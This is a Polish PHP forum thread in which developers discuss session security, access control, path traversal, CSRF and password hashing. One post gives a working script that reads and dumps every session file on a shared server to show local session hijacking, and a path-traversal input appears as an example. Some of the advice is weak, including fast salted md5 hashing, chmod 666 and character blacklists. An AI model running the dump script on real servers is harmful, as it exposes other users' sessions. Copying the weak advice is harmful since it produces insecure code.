Rozwiązaniem są sesje, które przechowują dane na serwerze.

Pozdrawiam.



Witam,

Dwa pytania.

Pyt. 1: Jestem w poczatkowej fazie projektu i zastanawiam sie nad mozliwymi rozwiazaniami kontroli praw uzytkownikow.
To moj pierwszy projekt w ktorym musze identyfikowac uzytkownika i dodatkowo nadac mu prawa do robienia tego czy tamtego.
Po autoryzacji uzytkownika sprawdzam w DB czy i do jakiej grupy nalezy dany uzytkownik (uzywam LDAP do autentyfikacji uzytkowniak wiec ten problem mi odpada bo ta czesc jest wymuszana zasadami bezpieczenstwa w sieci lokalnej i musze wspolpracowac z administratorem sieci odnosnie autentyfikacji). Moje pytanie jest nastepujace:
Czy ktos moze podac mi przyklady tego jak nalezy konstruowac logike takiej strony. jak sprawdzac czy dana grupa moze uzywac danej finkcji
lub miec dostep do danego linku itp? Jakie rozwiazanie jest najbardziej dynamiczne i efektywne.
Moze ktos zna inne rozwiazania nie bazujace na grupach (np. przywileje do wykonywania dannych czynnosci)
Mysle np. o tym jak w jednym pliku (np. menu.php) zawierac informacje dla wszystkich grup ale podaczas includowania pliku wyswietlcic tylko
linki dla danej grupy uzytkownikow (i/lub linki dla grup ponizej danego lewelu) tzn. ze adminstrator zobaczy wszystkie linki trenerow, userow itp
a trener zobaczy link trenerow i usera ale nie administratorow.

Pyt. 2: Chcialbym w sesji zapisac informacje o nazwie uzytkownika i jego grupie (Admin, user itp) czy istnieje mozliwosc ze znajac
nazwe zmiennej mozna zewnatrznie podmieniac jej wartosc - czyli np.
  1.  
  2. $_SESSION['user'] = costam;
  3. $_SESSION['ugroupID'] = costam;


i przypisac im inne wartosci jesli tak jak moge sie przed tym zabezpieczyc?
Nie obawiam sie problemow z loginem bo pracuje w sieci lokalnej dostepnej tylko w jednym budynku
Uzywam LDAP do autoryzacji uzytkownika ale boje sie ze zwyczjany uzytkownik moze chciac podmienic swoje prawa i dac sobie
uprawnienia administratora po tym jak przypisze sesji jego uprawniania

Pozdrawiam!

Napisany przez: adam882 31.10.2011, 22:56:58

@evilpr0
Twój kod jest OK

Napisany przez: Orzeszekk 31.10.2011, 23:50:41

A co jezeli includujemy pliki bezposrednio uzywajac wartosci get, i pliki includowane znajduja sie w oddzielnym katalogu, ale ktos bedzie sprytny i poda nam w GET sciezke /../../costamcostam.php? /.. - powinno nas przeniesc do katalogu niżej.

Jesli juz ktos koniecznie chce brac bezposrednio z GET to musi regexpem wykasowac te znaki z parametru.

Ja tam jestem zwolennikiem białej listy: kazda klasa ktora includuje pliki / uruchamia metody w php funkcją call() biorąc jako parametr parametr z $_GET, korzysta z białej listy (listy dozwolonych wartosci parametru). Taką listę mozna sobie bardzo szybko utworzyc za pomocą array('parametr_1','parametr_2')... a sprawdzic poprawnosc za pomocą

$naszParametr = htmlspecialchars($_GET['param']);
if (!(in_array($naszParametr, $tablicaDozwolonychWartosci))
{
/* Parametr nieprawidlowy, nie znaleziono na liscie, ustawiamy mu tutaj wartosc domyslna lub zatrzymujemy program */
}
/* od tego momentu mozemy uwazac wartosc w $naszParametr za poprawną */
include($naszParametr) / call($naszParametr);


itd itp tongue.gif
biała lista jest znacznie bezpieczniejsza od czarnej listy czy w ogole niesprawdzania poprawnosci bo chroni cie tez przed tym czego nie możesz przewidzieć smile.gif

Napisany przez: by_ikar 1.11.2011, 00:13:03

Cytat
Jesli juz ktos koniecznie chce brac bezposrednio z GET to musi regexpem wykasowac te znaki z parametru.


Nie musi, do tego celu wystarczy jedna funkcja, basename i powyżej danego katalogu już niestety poruszać się nie będzie mógł wink.gif

Napisany przez: rumpelek 9.01.2012, 15:26:39

uFF... minęło 30 minut od kiedy zacząłem czytać temat... i w zasadzie się zgubiłem... Więc może ja zapytam, czy mój kod jest poprawny i ewentualnie jak go "zabezpieczyć"

  1. if(http://www.php.net/isset($_GET['zmienna'])){
  2. $przed = http://www.php.net/array("\"", "\'", "\\", ">", "<", " ", "%", "_", "&", "#", "0", "9", "2", ";", ":", "/", "$", "GET", "_", "[", "]");
  3. $po = http://www.php.net/array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "");
  4. $zmienna = http://www.php.net/str_replace($przed, $po, $_GET['zmienna']);
  5. }else{
  6. $zmienna='pusta';
  7. }


Bardzo proszę o konkretne wskazówki...

Napisany przez: wookieb 9.01.2012, 15:28:47

Przed tym to ma zabezpieczać? Tutaj jedynie ucinasz sobie szereg funkcjonalności z GET-a zamiast rozważnie pisać kod (a to nie jest takie trudne)

Napisany przez: rumpelek 9.01.2012, 17:02:58

no ma zabezpieczać przed atakiem... szeroko rozumianym... gdybym był pewnie na Twoim poziomie wiedzy, to bym tak banalnych pytań nie zadawał... Jeśli mam jakoś bardziej doprecyzować to powiedz jak, a na pewno udzielę odpowiedzi bo jestem żywnie zainteresowany tym, aby moja aplikacja była bezpieczna...

zmienne są różne niektóre numeryczne inne tekstowe...

na podstawie tej zmiennej ładuję np. pliki konfiguracyjne dla danej strony... np.

http://www.adres.pl/index.php?zmienna=nazwafirmy

na podstawie tego ładuję pliki

  1. include("$nazwafirmy/config.php");


dlaczego tak? ano dlatego, że obsługuję programem kilka firm i jak wprowadzam zmiany to w plikach skryptu ogólnego... i nie muszę tego robić oddzielnie w każdym katalogu...

  1. http://www.php.net/echo "\n<link rel=\"stylesheet\" type=\"text/css\" href=\"$nazwafirmy/style.css\" />";


np. dzięki temu rozwiązaniu ładuję plik css... i każda strona może wyglądać inaczej ale pracować na tym samym "silniku" smile.gif


Napisany przez: vee 13.01.2012, 09:57:56

swoją drogą zamiast pisać tak:

  1. $po = http://www.php.net/array("", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "");
  2. $zmienna = http://www.php.net/str_replace($przed, $po, $_GET['zmienna']);

możesz zrobić
  1. $zmienna = http://www.php.net/str_replace($przed, null, $_GET['zmienna']);


to taki mały OT. CO do zabezpieczenia... tak jak mówił kolega powyżej - zdecydowanie łatwiej i skuteczniej jest pisać rozważnie kod, zamiast stosować takie "myki".
Inna sprawa, powinieneś określić jaki zestaw znaków dopuszczasz dla tej zmiennej i odfiltrować to wyrażeniami regularnymi moim zdaniem, tzn np dopuszczać same litery, cyfry i myślnik.

EDIT: Gwoli ścisłości, podane wskazówki raczej nie mają wpływu na bezpieczeństwo, ale na wygodę obsługi.

Pozdrawiam i powodzenia

Napisany przez: marcio 13.01.2012, 11:48:02

Elo co stosujecie przed csrf i full path disclosure?

Co do pierwszego zastanawiam sie nad tokenami w url lub przez post (pole typu hidden).

Co do tego drugiego co stosujecie?error_reporting(0) to racej obejcie problemu niz jego likwidacja.
Stosujecie wlasne klasy obslugi bledow?

Napisany przez: erix 13.01.2012, 22:51:38

Cytat
Elo co stosujecie przed csrf

Bez tokenów raczej nie przejdzie, aby było uniwersalne.

Cytat
Co do tego drugiego co stosujecie?error_reporting(0) to racej obejcie problemu niz jego likwidacja.

Niczego nie stosuję. Proces interpretera odpalam z chrootem.

Napisany przez: marcio 14.01.2012, 13:47:40

Cytat
Niczego nie stosuję. Proces interpretera odpalam z chrootem

Dla mniej wtajemniczonych?

Napisany przez: erix 14.01.2012, 13:51:23

Dla mniej wtajemniczonych jest Google i Wikipedia, której wystarczy użyć: http://pl.wikipedia.org/wiki/Chroot

Napisany przez: marcinek37 24.10.2012, 21:16:46

Kilka ostatnich dni spędziłem na analizie tego, co wcześniej pisano na forum i tego, co pisano w artykułach na innych stronach.
Było kilka niejasnych pomysłów na zabezpieczenie strony stąd kilka moich pytań.

1. wielokrotnie mówiono, że dobrym zabezpieczeniem przed CSRF jest dodawanie do ważnych linków tokena - mam jednak pytanie, czy optymalnym rozwiązaniem jest, aby taki token był nadawany przy logowaniu i był on aktywny aż do czasu trwania sesji, czy za każdym razem koniecznie musi być nadawany nowy token? pytam, bo w przypadku drugiego rozwiązania będę mieć o wiele więcej pracy

2. czy koniecznie muszę filtrować nawet dane z tablicy SERVER?
przykład zapytania:
mysql_query("INSERT INTO tabela (`id`, `ip`) VALUES(NULL, '$_SERVER[REMOTE_ADDR]')");

3. znalazłem taki kod, który zabezpiecza system przed Session Fixation i Session Hijacking, jednak po jego użyciu mój system logowania nie działa poprawnie
wg mnie to największy problem, bo jeśli ktoś przejmie moją sesję, przejmę całkowitą kontrolę nad systemem i będzie mógł zrobić niemal wszystko

  1. <?
  2. if (!http://www.php.net/isset($_SESSION['inicjuj']))
  3. {
  4. http://www.php.net/session_regenerate_id();
  5. $_SESSION['inicjuj'] = true;
  6. $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];
  7. }
  8.  
  9.  
  10. if($_SESSION['ip'] !== $_SERVER['REMOTE_ADDR'])
  11. {
  12. http://www.php.net/die('Proba przejecia sesji udaremniona!');
  13. }
  14. ?>


4. aby zabezpieczyć się przed dodawaniem identyfikatora sesji do adresu www, należy dodać kod:
session.use_only_cookies = 1

tyle że do którego pliku i w jaki sposób?

5. to samo tyczy się poniższego kodu, który należy dodać do .htacces:
php_value session.use_only_cookies 1
php_value session.use_trans_sid 0

ale gdy go dodaje, pojawia się błąd

6. znalazłem też informację, że warto regenerować identyfikator sesji przy każdym odświeżeniu (session_regenerate_id( )wink.gif, ale rodzi to problem - co, jeśli użytkownik otworzy stronę w dwóch oknach? wtedy w jednym zostanie wylogowany

7. czy dodatkowym zabezpieczeniem może być nadanie chmodu 600 na plik config?

8. aby hasło użytkowników było bezpieczne, przy rejestracji postanowiłem skorzystać ze schematu:
HASH = md5( sól systemowa [16 znaków] + md5(hasło użytkownika) + idywidualna sól nadana dla użytkownika zapisana w bazie [16 znaków] )

czy myślę dobrze, że jest to bezpieczne, bo, nawet jeśli ktoś ukradnie nam dane, nie zna soli systemowej (zapisanej w config), a jeśli wejdzie w posiadanie systemu, nie będzie znać soli przypisanej do użytkownika
polecano mi PHPass, ale wolę to zrobić tym sposobem, jeśli uznacie to za bezpieczne

9. czy naprawdę do sesji warto dodać identyfikator użytkownika (czyli ID, np. 123), jego IP oraz przeglądarkę? kod:
  1. <?
  2. if(http://www.php.net/isset($_SESSION['user_id']) && $_SESSION['user_agent'] == $_SERVER['HTTP_USER_AGENT'] && $_SESSION['user_ip'] == $_SERVER['REMOTE_ADDR']){
  3. http://www.php.net/echo'zalogowany';
  4. }
  5. else{
  6. http://www.php.net/echo'niezalogowany';
  7. }
  8. ?>


10. czy przy autologowaniu do ciastka powinienem dodać ID użytkownika oraz HASH, o którym mowa w punkcie 8? czy to aby na pewno bezpieczne?

Napisany przez: hind 25.10.2012, 09:23:34

1. powinno być za każdym razem generowane z osobna
2. $_SERVER['HTTP_USER_AGENT'] zawiera dane potencjalnie niebezpieczne.
4. php.ini lub ini_set()
6. ni zostanie, chyba że otwarcie obu stron nastąpi w tym samym momencie.
7. i tak i nie, bo to proces httpd/cgi ma odczytać ten plik i uprawnienia muszą być dostosowane do uprawnień procesu wykonującego (choć zwykle jest to root/httpd)
9. sesja powinna być unikalna, więc ID jest nie potrzebne
10. jak przy 9.

Napisany przez: marcinek37 25.10.2012, 11:09:43

1. rozumiem, szkoda
2. to dla pewności lepiej wszystkie zmienne z $_SERVER sprawdzę
3. [brak odpowiedzi]
4. działa
5. [brak odpowiedzi]
6. faktycznie, działa prawidłowo - czy zatem to jest najlepsze zabezpieczenie przed kradzieżą identyfikatora sesji, czy może jeszcze coś warto zrobić?
7. nie rozumiem, możesz troszkę jaśniej? który chmod będzie najbezpieczniejszy, skoro config jest jedynie includowany przez silniczek
8. [brak odpowiedzi]
9. tworzy się sesja i jedną z ich wartości jest 'user_id', system sprawdza, czy jest użytkownik o podanym ID i ładuje od niego informacje, jeśli bym do bazy zapisywał ID sesji, to bym zaraz go stracił, skoro używam session_regenerate_id() - chyba że po zalogowaniu się będziemy tworzyć w sesji unikalny 'hash', który będzie stały po odświeżeniach i jego wartość zapiszemy w bazie - ale w sumie co za różnica, ID usera to żadna tajemnica
10. [proszę o ponowną odpowiedź w związku z prowadzoną dyskusją w punkcie 9]

Napisany przez: erix 25.10.2012, 12:24:24

  1. za każdym razem. Bo wystarczy, że komuś podeślesz (przypadkiem) raz linka i potem Ci odsyła kuku.
  2. wszystko, co pochodzi od użyszkodnika, jest złe. Sodoma i Gomora. Nawet, jeśli uważasz, że jest dobry. Jest zły, będziesz spał spokojniej z takim założeniem.
  3. tylko że to zawiedzie w przypadku NAT-a...
  4. i tak za pierwszym razem SID musi zostać wysłany przez parametr w żądaniu, bo ciastko zostanie wysłane do serwera dopiero za drugim razem.
  5. Cytat
    ale gdy go dodaje, pojawia się błąd

    Szklana kula rozwalona.
  6. dla mnie, to już poziom=paranoid... jak masz zabezpieczenie przed CSRF, to to nie ma sensu...
  7. zależy od uprawnień i serwera - jeśli proces PHP jest uruchamiany z Twoimi uprawnieniami - jak najbardziej, takie uprawnienie jest nawet wskazane. Wyjątek: sytuacja, gdy plik musi zostać zaczytany przez httpd, wtedy grupie nadajesz uprawnienia do odczytu.
  8. nie hashuj hasha! Sól doklejaj, ale nie rób z tego hasha. Dlaczego? Jest przyklejony wątek o podwójnym hashowaniu haseł. PHPass jest o tyle lepsze, że wolniejsze. A im wolniejszy hash, tym lepiej, bo wykonanie ataku brute-force jest trudniejsze.
  9. generalnie im więcej danych, które pozwalają użytkownika zidentyfikować, tym lepiej.
  10. ~hind, przejmę SID, wgram do siebie ciasteczko o odpowiedniej wartości i co, mogę sobie przejąć ot tak zawartość Twojej sesji?

Napisany przez: hind 25.10.2012, 13:31:40

10. jak przejmiesz SID to co za problem (głównie ataki XSS i inne robactwo systemowe)?
Jedyne co w tym wypadku pozostaje to sprawdzanie danych dodatkowych jak adres IP (zmienny), przeglądarka internetowa, czy inne parametry, ale to wszystko i tak można przejąć.

Inna sprawa że autologowanie można ograniczyć do jednego komputera (tylko na jednym komputerze autologowanie) + regeneracja klucza autologowania.
A jeszcze lepsza opcja to prośba o podanie hasła przy ważniejszych zmianach.

ogólnie nie widzę żadnej możliwości zabezpieczenia się przed wykorzystaniem przejętego SID (wygoda VS bezpieczeństwo).

Napisany przez: erix 25.10.2012, 13:39:28

Cytat
Jedyne co w tym wypadku pozostaje to sprawdzanie danych dodatkowych jak adres IP (zmienny), przeglądarka internetowa, czy inne parametry, ale to wszystko i tak można przejąć.

Połącz to sobie z JS, localStorage, w którym generujesz jakieś losowe tokeny, które są dolepiane do każdego żądania.

Napisany przez: hind 25.10.2012, 13:56:19

Najlepiej jakby każda otwarta karta miała swój własny identyfikator, a do tego każde użycie sesji zliczane. Ale to tylko umożliwia zabezpieczenie przed przejęciem.

Ale jak skutecznie zabezpieczyć autologowanie?
(sprawdzanie IP, przeglądarki, danych JS jak localStorage, geolokacja, e-tagi, certyfikat, czy jeszcze jakieś inne możliwości)

Napisany przez: marcinek37 28.10.2012, 17:58:47

1. wyjaśnione

2. wyjaśnione

3.

Cytat(erix @ 25.10.2012, 13:24:24 ) *
tylko że to zawiedzie w przypadku NAT-a...


zatem w jaki sposób mogę zabezpieczyć się przed przejęciem SID? bo w tym momencie, wystarczy, że ktoś pozna SID i robi ze stroną co mu się podoba...
moim jedynym pomysłem jest to, aby w sesji zapisać także jego IP, przeglądarkę - jeśli te dane nie będą się zgadzać, sesja zostanie zlikwidowana - drążę w dobrym kierunku?
czy wg Ciebie w tablicy $_SERVER są jeszcze jakieś dane, które warto zapisać i potem sprawdzić, czy aby na pewno ten, kto posiada SID, jest do tego upoważniony?

4.
Cytat(erix @ 25.10.2012, 13:24:24 ) *
i tak za pierwszym razem SID musi zostać wysłany przez parametr w żądaniu, bo ciastko zostanie wysłane do serwera dopiero za drugim razem.


czy mógłbyś rozwinąć myśl? czy sugerujesz, że mimo to problem istnieje? jeśli tak, masz pomysł, aby jemu zaradzić?

5. ten .htaccess chyba mogę zignorować, skoro działa ten kod:
  1. <?
  2. http://www.php.net/ini_set('session.use_only_cookies', 1);
  3. ?>


o którym mowa w punkcie 4.

6. zatem zrezygnuję z regeneracji SID

7. czyli ustawię chmod 600, a jeśli system przestanie działać, zmienię chmod na 666 - dobrze myślę?

8. właśnie cały przyklejony temat dotyczący hashowania przeczytałem uważnie i nie rozumiem, dlaczego mój pomysł jest zły - do hasła doklejam sól aż dwukrotnie (systemową i indywidualną) i dopiero wtedy przepuszczam przez md5, wklejam ponownie schemat z drobną zmianą:
HASH = md5( sól systemowa [16 znaków] + hasło użytkownika + idywidualna sól nadana dla użytkownika zapisana w bazie [16 znaków] )

nie jestem kryptologiem, ale jaka jest szansa, że ktoś znając chociaż jedną sól, może shakować hasło, skoro nie zna drugiej soli - czy ktoś łopatologicznie może mi to wyjaśnić

9.
Cytat(erix @ 25.10.2012, 13:24:24 ) *
generalnie im więcej danych, które pozwalają użytkownika zidentyfikować, tym lepiej


i też tak właśnie myślę, i tutaj ponawiam pytanie: jakie dane z tablicy $_SERVER mogę jeszcze wyciągnąć i zapisać w sesji - najlepiej, jeśli to możliwe - podaj proszę nazwy pól, np. "user_agent"

10. to może po wybraniu opcji "autologowanie" wyśle się ciastko z hashem, o którym mowa w punkcie 8, oraz ID usera
jeśli user wejdzie na stronę po tygodniu, system sprawdzi, czy jest takie ciastko, poszuka usera o podanym ID oraz hashem i wtedy porówna aktualne dane z tablicy $_SERVER z tymi, które przy logowaniu zostały zapisane w bazie danych, tj. "user_agent", "remote_addr" (+ te, które mam nadzieję ktoś poda w ramach pkt 9.) - tylko tworzy to pewien problem, bo jeśli ktoś ma zmienne IP, autologowanie nie nastąpi

Napisany przez: Damonsson 29.10.2012, 12:21:22

Nie wiem czy dobrze zrozumiałem, ale chodzi o to, żeby zamiast $_SESSION['userId'] zapisywać $_SESSION['hashGenerowanyZUserId']? Po co?

I przy okazji mam jedno pytanie, na które każdy odpowiada inaczej, można w końcu manipulować danymi przechowywanymi w zmiennej sesyjnej czy też nie można? np. $_SESSION['czyAdmin']?
Pomijając kwiatki typu $_SESSION['czyAdmin'] = $_POST['jakiespole'] gdzieś w kodzie.

Napisany przez: CuteOne 29.10.2012, 12:47:33

Legendy głoszą, że na serwerach współdzielonych, można było "podkradać" pliki sesji innych użytkowników danego serwera

Napisany przez: d3ut3r 29.10.2012, 13:22:59

To zależy od konfiguracji serwera, ale generalnie local session hijacking to nie legenda smile.gif Wszystko opiera się na założeniu, że serwer składuje dane sesji w katalogu np. /tmp do którego dostęp jest globalny dla shared hostingu, przy takiej konfiguracji możesz sobie te pliki odczytać. Przynajmniej takie jest założenie.

Proste doświadczenie, uruchom skrypt:

  1. $files=(http://www.php.net/array)http://www.php.net/glob(http://www.php.net/session_save_path().'/*');
  2.  
  3. if (http://www.php.net/count($files)>0){
  4.  
  5. foreach ($files as $k=>$file){
  6.  
  7. $fileName=http://www.php.net/basename($file);
  8.  
  9. if (http://www.php.net/substr($fileName,0,5)=='sess_'){
  10.  
  11. $session_id=http://www.php.net/substr($fileName,5);
  12.  
  13. http://www.php.net/echo 'Dump for: '.$session_id.'<br />';
  14. http://www.php.net/var_dump(http://www.php.net/file_get_contents($files[$k]));
  15.  
  16. }
  17.  
  18. }
  19. }


naprzykład na xamppie i spokojnie sobie odczytasz wszystkie pliki sesji.

Napisany przez: marcinek37 29.10.2012, 14:09:53

kwestią zabezpieczeń serwera chyba nie muszę się martwić, bo mam wykupiony serwer u porządnej firmy - z tego co wiem przynajmniej

czy ktoś może odpowiedzieć na moje pytania?
szczególnie na pytania: 3 (jak zabezpieczyć się przed kradzieżą sesji), 8, 9, 10

Napisany przez: d3ut3r 29.10.2012, 14:38:16

Moim zdaniem jeżeli twoja strona będzie odporna na XSS dodatkowo masz regenerację id sesji i porządnie skonfigurowany serwer to jedyną opcją na przejęcie session_id jest bezmyślne podanie go komuś, jednak przed głupotą się nie uchronisz. Jeżeli masz taką możliwość użyj SSL.

Zabezpieczenie z IP jest jakimś rozwiązaniem, jednak ma swoje ograniczenia ktoś już wspominał o NAT.

Napisany przez: Damonsson 29.10.2012, 21:53:54

Załóżmy, że session_regenerate_id się nie wywołało i ktoś przejął moje aktualne PHPSESSID z ciastka.
Kiedy będzie chciał się podać za mnie, to wtedy przy session_start, zrobi się session_regenerate_id(true) i jeśli np. ip będzie różne to session_destroy.
Wszystko ładnie, on się nie zaloguje. Ale jednocześnie session_destroy będzie też dotyczyć Bogu ducha winnego mnie, więc będę musiał się znowu zalogować. Jest na to jakiś sposób, aby nie wiem, niszczyło jemu sesję i zmieniało PHPSESSID, a mnie nadawało nowy PHPSESSID z wartościami sesji, takimi jakie miałem ?

Napisany przez: hind 30.10.2012, 08:08:53

Nie ma takiej możliwości, chyba że umiesz w magiczny sposób rozpoznać kto jest prawidłowym właścicielem sesji. A tak to najbezpieczniej wywalić obu.

Napisany przez: marcinek37 31.10.2012, 11:10:23

ok, więc skoro nie ma możliwości przed zabezpieczeniem się przed kradzieżą sesji, to czy ktoś może mi pomóc z punktami: 8, 9, 10?

Napisany przez: CuteOne 31.10.2012, 11:19:18

Na twoim miejscu zamiast wymyślać koło na nowo(z możliwością popełnienia błędów) zobacz w gotowe skrypty np. tego forum IP.Board

Napisany przez: jaslanin 31.10.2012, 16:47:15

2. adresów IP raczej nie powinno się przechowywać jako string tylko jako int
8. szybkie algorytmy hash'ujące nie są zalecane do przechowywania haseł, bo chcesz właśnie żeby atakujący musiał poświęcić dużo zasobów do odkrycia stringa odpowiadającego hash'owi. Tu masz to opisane:

http://php.net/manual/en/faq.passwords.php
https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet

Napisany przez: marcinek37 1.11.2012, 20:12:43

czy reasumując:
1. nie ma możliwości, aby napisać system w ten sposób, aby za jego pośrednictwem ktoś mógł wykraść sesję i ją wykorzystać
2. szybkie hashowanie jest niebezpieczne, bo jeśli ktoś ukradnie mi hash i pozna sól systemową i indywidualną dla użytkownika, będzie mógł poznać hasło (tyle że najpierw musi poznać obie sole)
3. przy logowaniu do sesji mam zapisać jak najwięcej danych, które się z nim będą identyfikowały, prócz adresu IP, bo ktoś może mieć zmienny adres
4. autologowanie jest niebezpieczne i lepiej go nie robić

Napisany przez: jaslanin 1.11.2012, 21:17:16

Cytat
1. nie ma możliwości, aby napisać system w ten sposób, aby za jego pośrednictwem ktoś mógł wykraść sesję i ją wykorzystać


Można, wystarczy mieć luki XSS: https://www.owasp.org/index.php/Session_hijacking_attack

Napisany przez: pyro 25.11.2012, 19:33:07

Cytat(marcinek37 @ 1.11.2012, 20:12:43 ) *
czy reasumując:
1. nie ma możliwości, aby napisać system w ten sposób, aby za jego pośrednictwem ktoś mógł wykraść sesję i ją wykorzystać
2. szybkie hashowanie jest niebezpieczne, bo jeśli ktoś ukradnie mi hash i pozna sól systemową i indywidualną dla użytkownika, będzie mógł poznać hasło (tyle że najpierw musi poznać obie sole)
3. przy logowaniu do sesji mam zapisać jak najwięcej danych, które się z nim będą identyfikowały, prócz adresu IP, bo ktoś może mieć zmienny adres
4. autologowanie jest niebezpieczne i lepiej go nie robić


Tak generalnie rzecz biorąc każdy z tych podpunktów to w mniejszym lub większym stopniu bzdura tongue.gif

Napisany przez: Damonsson 25.11.2012, 19:41:10

Ale 3. do słowa "prócz" chyba jest prawdą? No bo jak inaczej identyfikować prawdziwego użytkownika?

edit: Również mając wzgląd na wyeliminowanie, multi-kontowości.

Powered by Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)